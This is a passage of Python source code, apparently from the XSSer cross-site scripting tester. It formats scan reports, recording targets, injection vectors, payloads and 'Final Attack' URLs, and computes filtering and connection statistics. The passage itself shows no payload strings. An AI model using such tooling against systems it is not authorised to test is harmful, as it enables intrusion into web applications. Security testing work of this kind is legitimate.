  3297. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3298. fout.write("="*75 + "\n\n")
  3299. elif line[1] == "[hashing check]":
  3300. if len(self.hash_found) < 11:
  3301. if line[4]:
  3302. self.report("[+] Target:", line[6] + " | " + line[4])
  3303. else:
  3304. self.report("[+] Target:", line[6])
  3305. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3306. self.report("[!] Method:", line[2])
  3307. self.report("[*] Payload:", line[5])
  3308. self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
  3309. if self.options.fileoutput:
  3310. fout.write("="*75)
  3311. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3312. fout.write("="*75 + "\n\n")
  3313. for h in self.hash_found:
  3314. if h[1] == "[hashing check]":
  3315. if h[4]:
  3316. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3317. else:
  3318. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3319. fout.write("="*75 + "\n\n")
  3320. elif line[1] == "[manual_injection]":
  3321. self.manual_found = self.manual_found + 1
  3322. if len(self.hash_found) < 11:
  3323. if line[4]: # when query string
  3324. self.report("[+] Target:", line[6] + " | " + line[4])
  3325. else:
  3326. self.report("[+] Target:", line[6])
  3327. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3328. self.report("[!] Method: MANUAL")
  3329. self.report("[*] Hash:", line[3])
  3330. self.report("[*] Payload:", line[0])
  3331. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3332. self.report("[*] Final Attack:", attack_url)
  3333. if self.token_arrived_flag == True:
  3334. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3335. else:
  3336. if self.options.reversecheck:
  3337. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3338. else:
  3339. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3340. if self.options.fileoutput:
  3341. fout.write("="*75)
  3342. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3343. fout.write("="*75 + "\n\n")
  3344. for line in self.hash_found:
  3345. if line[4]:
  3346. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3347. if self.token_arrived_flag == True:
  3348. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3349. else:
  3350. if self.options.reversecheck:
  3351. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3352. else:
  3353. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3354. else:
  3355. if self.token_arrived_flag == True:
  3356. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3357. else:
  3358. if self.options.reversecheck:
  3359. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3360. else:
  3361. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3362. else:
  3363. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3364. if self.token_arrived_flag == True:
  3365. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3366. else:
  3367. if self.options.reversecheck:
  3368. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3369. else:
  3370. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3371. else:
  3372. if self.token_arrived_flag == True:
  3373. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3374. else:
  3375. if self.options.reversecheck:
  3376. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3377. else:
  3378. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3379. fout.write("="*75 + "\n\n")
  3380. elif line[1] == "[Heuristic test]":
  3381. if len(self.hash_found) < 11:
  3382. if line[4]:
  3383. self.report("[+] Target:", line[6] + " | " + line[4])
  3384. else:
  3385. self.report("[+] Target:", line[6])
  3386. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3387. self.report("[!] Method:", line[2])
  3388. self.report("[*] Payload:", line[5])
  3389. self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
  3390. if self.options.fileoutput:
  3391. fout.write("="*75)
  3392. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3393. fout.write("="*75 + "\n\n")
  3394. for line in self.hash_found:
  3395. if line[4]:
  3396. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3397. else:
  3398. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3399. fout.write("="*75 + "\n\n")
  3400. else:
  3401. self.auto_found = self.auto_found + 1
  3402. if len(self.hash_found) < 11:
  3403. if line[4]: # when query string
  3404. self.report("[+] Target:", line[6] + " | " + line[4])
  3405. else:
  3406. self.report("[+] Target:", line[6])
  3407. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3408. self.report("[!] Method: URL")
  3409. self.report("[*] Hash:", line[3])
  3410. self.report("[*] Payload:", line[0])
  3411. self.report("[!] Vulnerable:", line[1])
  3412. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3413. self.report("[*] Final Attack:", attack_url)
  3414. if self.token_arrived_flag == True:
  3415. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3416. else:
  3417. if self.options.reversecheck:
  3418. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3419. else:
  3420. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3421. if self.options.fileoutput:
  3422. fout.write("="*75)
  3423. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3424. fout.write("="*75 + "\n\n")
  3425. for line in self.hash_found:
  3426. if line[4]:
  3427. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3428. if self.token_arrived_flag == True:
  3429. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3430. else:
  3431. if self.options.reversecheck:
  3432. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3433. else:
  3434. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3435. else:
  3436. if self.token_arrived_flag == True:
  3437. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3438. else:
  3439. if self.options.reversecheck:
  3440. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3441. else:
  3442. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3443. else:
  3444. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3445. if self.token_arrived_flag == True:
  3446. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3447. else:
  3448. if self.options.reversecheck:
  3449. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3450. else:
  3451. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3452. else:
  3453. if self.token_arrived_flag == True:
  3454. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3455. else:
  3456. if self.options.reversecheck:
  3457. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3458. else:
  3459. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3460. fout.write("="*75 + "\n\n")
  3461. if self.options.fileoutput:
  3462. fout.close()
  3463. if self.options.fileoutput and not self.options.filexml:
  3464. self.report("\n[Info] Generating report: [ XSSreport.raw ]\n")
  3465. self.report("-"*25+"\n")
  3466. if self.options.fileoutput and self.options.filexml:
  3467. self.report("\n[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
  3468. self.report("-"*25+"\n")
  3469. if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
  3470. if not self.options.filexml:
  3471. self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
  3472. self.report("-"*25+"\n")
  3473. fout = open("XSSreport.raw", "w") # write better than append
  3474. fout.write("="*75)
  3475. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3476. fout.write("="*75 + "\n\n")
  3477. for line in self.hash_found:
  3478. if line[4]:
  3479. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3480. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3481. else:
  3482. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3483. else:
  3484. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3485. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3486. else:
  3487. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3488. fout.write("="*75 + "\n\n")
  3489. fout.close()
  3490. else:
  3491. self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
  3492. self.report("-"*25+"\n")
  3493. # heuristic always with statistics
  3494. if self.options.heuristic:
  3495. heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  3496. heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  3497. heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
  3498. heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
  3499. heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  3500. heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  3501. heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
  3502. heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
  3503. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  3504. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  3505. total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
  3506. if total_heuris_notfound > 0: # not shown when not found
  3507. self.options.statistics = True
  3508. # some statistics reports
  3509. if self.options.statistics:
  3510. # heuristic test results
  3511. if self.options.heuristic:
  3512. self.report("\n"+'='*75)
  3513. self.report("[+] Heuristics:")
  3514. self.report('='*75)
  3515. test_time = datetime.datetime.now() - self.time
  3516. self.report("\n" + '-'*50)
  3517. self.report("Test Time Duration: ", test_time)
  3518. self.report('-'*50 )
  3519. total_connections = total_heuris_found + total_heuris_notfound
  3520. self.report("Total fuzzed:", total_connections)
  3521. self.report('-'*75)
  3522. self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
  3523. # semicolon results
  3524. self.report('; ', " ", self.heuris_semicolon_notfound, " ",
  3525. heuris_semicolon_total_found, " ",
  3526. self.heuris_semicolon_found, " ",
  3527. self.heuris_une_semicolon_found, " ",
  3528. self.heuris_dec_semicolon_found)
  3529. # backslash results
  3530. self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
  3531. heuris_backslash_total_found, " ",
  3532. self.heuris_backslash_found, " ",
  3533. self.heuris_une_backslash_found, " ",
  3534. self.heuris_dec_backslash_found)
  3535. # slash results
  3536. self.report("/ ", " ", self.heuris_slash_notfound, " ",
  3537. heuris_slash_total_found, " ",
  3538. self.heuris_slash_found, " ",
  3539. self.heuris_une_slash_found, " ",
  3540. self.heuris_dec_slash_found)
  3541. # minor results
  3542. self.report("< ", " ", self.heuris_minor_notfound, " ",
  3543. heuris_minor_total_found, " ",
  3544. self.heuris_minor_found, " ",
  3545. self.heuris_une_minor_found, " ",
  3546. self.heuris_dec_minor_found)
  3547. # mayor results
  3548. self.report("> ", " ", self.heuris_mayor_notfound, " ",
  3549. heuris_mayor_total_found, " ",
  3550. self.heuris_mayor_found, " ",
  3551. self.heuris_une_mayor_found, " ",
  3552. self.heuris_dec_mayor_found)
  3553. # doublecolon results
  3554. self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
  3555. heuris_doublecolon_total_found, " ",
  3556. self.heuris_doublecolon_found, " ",
  3557. self.heuris_une_doublecolon_found, " ",
  3558. self.heuris_dec_doublecolon_found)
  3559. # colon results
  3560. self.report("' ", " ", self.heuris_colon_notfound, " ",
  3561. heuris_colon_total_found, " ",
  3562. self.heuris_colon_found, " ",
  3563. self.heuris_une_colon_found, " ",
  3564. self.heuris_dec_colon_found)
  3565. # equal results
  3566. self.report("= ", " ", self.heuris_equal_notfound, " ",
  3567. heuris_equal_total_found, " ",
  3568. self.heuris_equal_found, " ",
  3569. self.heuris_une_equal_found, " ",
  3570. self.heuris_dec_equal_found)
  3571. self.report('-'*75)
  3572. try:
  3573. _accur = total_heuris_found * 100 / total_heuris_params
  3574. except ZeroDivisionError:
  3575. _accur = 0
  3576. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  3577. self.report('-'*75)
  3578. # statistics block
  3579. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3580. pass
  3581. if self.options.heuristic:
  3582. pass
  3583. else:
  3584. self.report('='*75)
  3585. self.report("[+] Statistics:")
  3586. self.report('='*75)
  3587. test_time = datetime.datetime.now() - self.time
  3588. self.report("\n" + '-'*50)
  3589. self.report("Test Time Duration: ", test_time)
  3590. self.report('-'*50 )
  3591. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  3592. self.report("Total Connections:", total_connections)
  3593. self.report('-'*25)
  3594. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  3595. self.not_connection , "|" , "503:" ,
  3596. self.forwarded_connection , "|" , "Others:",
  3597. self.other_connection)
  3598. try:
  3599. _accur = self.success_connection * 100 / total_connections
  3600. except ZeroDivisionError:
  3601. _accur = 0
  3602. self.report("Connec: %s %%" % _accur)
  3603. self.report('-'*50)
  3604. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  3605. self.report("Total Payloads:", total_payloads)
  3606. self.report('-'*25)
  3607. self.report("Checker:", self.check_positives, "|", "Manual:",
  3608. self.manual_injection, "|" , "Auto:" ,
  3609. self.auto_injection ,"|", "DCP:",
  3610. self.dcp_injection, "|", "DOM:", self.dom_injection,
  3611. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  3612. self.xsr_injection, "|", "XSA:",
  3613. self.xsa_injection , "|", "COO:",
  3614. self.coo_injection)
  3615. self.report('-'*50)
  3616. self.report("Total Injections:" ,
  3617. len(self.hash_notfound) + len(self.hash_found))
  3618. self.report('-'*25)
  3619. self.report("Failed:" , len(self.hash_notfound), "|",
  3620. "Successful:" , len(self.hash_found))
  3621. try:
  3622. _accur = len(self.hash_found) * 100 / total_injections
  3623. except ZeroDivisionError:
  3624. _accur = 0
  3625. self.report("Accur : %s %%" % _accur)
  3626. self.report("\n" + '='*50)
  3627. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  3628. self.report("\n" + '-'*50)
  3629. self.report("Total XSS Discovered:", total_discovered)
  3630. self.report('-'*50)
  3631. self.report("Checker:", self.false_positives, "|",
  3632. "Manual:",self.manual_found, "|", "Auto:",
  3633. self.auto_found, "|", "DCP:", self.dcp_found,
  3634. "|", "DOM:", self.dom_found, "|", "Induced:",
  3635. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  3636. "|", "XSA:", self.xsa_found, "|", "COO:",
  3637. self.coo_found)
  3638. self.report('-'*50)
  3639. self.report("False positives:", self.false_positives, "|",
  3640. "Vulnerables:",
  3641. total_discovered - self.false_positives)
  3642. self.report('-'*25)
  3643. # efficiency ranking:
  3644. # algor= vulnerables + false positives - failed * extras
  3645. mana = 0
  3646. h_found = 0
  3647. for h in self.hash_found:
  3648. h_found = h_found + 1
  3649. if h_found > 3:
  3650. mana = mana + 4500
  3651. if h_found == 1:
  3652. mana = mana + 500
  3653. if self.options.reversecheck:
  3654. mana = mana + 200
  3655. if total_payloads > 100:
  3656. mana = mana + 150
  3657. if not self.options.xsser_gtk:
  3658. mana = mana + 25
  3659. if self.options.discode:
  3660. mana = mana + 100
  3661. if self.options.proxy:
  3662. mana = mana + 100
  3663. try:
  3664. if self.options.threads > 9:
  3665. mana = mana + 100
  3666. except:
  3667. pass
  3668. if self.options.heuristic:
  3669. mana = mana + 100
  3670. if self.options.finalpayload or self.options.finalremote:
  3671. mana = mana + 100
  3672. if self.options.script:
  3673. mana = mana + 100
  3674. if self.options.Cem or self.options.Doo:
  3675. mana = mana + 75
  3676. if self.options.heuristic:
  3677. mana = mana + 50
  3678. if self.options.script and not self.options.fuzz:
  3679. mana = mana + 25
  3680. if self.options.followred and self.options.fli:
  3681. mana = mana + 25
  3682. if self.options.wizard:
  3683. mana = mana + 25
  3684. if self.options.dcp:
  3685. mana = mana + 25
  3686. if self.options.hash:
  3687. mana = mana + 10
  3688. mana = (len(self.hash_found) * mana) + mana
  3689. # enjoy it :)
  3690. self.report("Mana:", mana)
  3691. self.report("")
  3692. c = Curl()
  3693. if not len(self.hash_found) and self.hash_notfound:
  3694. if self.options.hash:
  3695. if self.options.statistics:
  3696. self.report('='*75 + '\n')
  3697. self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
  3698. else:
  3699. if self.options.target or self.options.heuristic:
  3700. self.report("")
  3701. if self.options.heuristic:
  3702. pass
  3703. else:
  3704. if self.options.statistics:
  3705. self.report('='*75 + '\n')
  3706. if self.options.fileoutput:
  3707. fout = open("XSSreport.raw", "w") # write better than append
  3708. fout.write("="*75)
  3709. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3710. fout.write("="*75 + "\n\n")
  3711. for h in self.hash_notfound:
  3712. if h[2] == 'heuristic':
  3713. if not h[4]:
  3714. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3715. else:
  3716. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3717. elif h[2] == 'hashing check':
  3718. if not h[4]:
  3719. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3720. else:
  3721. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3722. else:
  3723. if h[4]:
  3724. if h[2] == "XSA":
  3725. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3726. elif h[2] == "XSR":
  3727. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3728. elif h[2] == "COO":
